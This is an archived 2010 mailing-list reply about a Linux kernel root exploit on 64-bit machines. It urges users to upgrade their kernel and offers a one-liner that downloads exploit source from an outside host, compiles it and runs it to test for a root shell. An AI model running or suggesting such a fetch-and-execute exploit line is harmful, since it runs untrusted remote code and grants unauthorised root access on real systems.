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- Date: Thu, 23 Sep 2010 12:36:24 +0900
- From: Kalin KOZHUHAROV <me.kalin@example.com>
- Subject: Re: [tlug] Linux Kernel Exploit News
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Hi, On Thu, Sep 23, 2010 at 10:33, CL <az.4tlug@example.com> wrote: > I am not sure I understand the issue 100% but thought others might be > interested. this morning's ZDNet news contained the following article: > > http://www.zdnet.co.uk/news/security-threats/2010/09/21/linux-kernel-exploit-roots-64-bit-machines-40090177/?s_cid=116 > > Which links to an explanatory story and onward links to a hotfix patch: > > http://isc.sans.edu/diary.html?storyid=9574 > > I have not applied the patch as it appears to be an enterprise problem > more than an individual PC one. Maybe people who know more could comment. > It is not "enterprise problem, pretty much any recent 64bit kernel was affected... Get yourself one of the latest stable (released 1-2d ago). If you want to check whether your system is affected, as a normal user do: $ wget -q http://thinrope.net/s/robert_you_suck.c -O - |gcc -x c -o r00t - && ./r00t If you get a root shell, guess what - YOU ARE affected. Cheers, Kalin.
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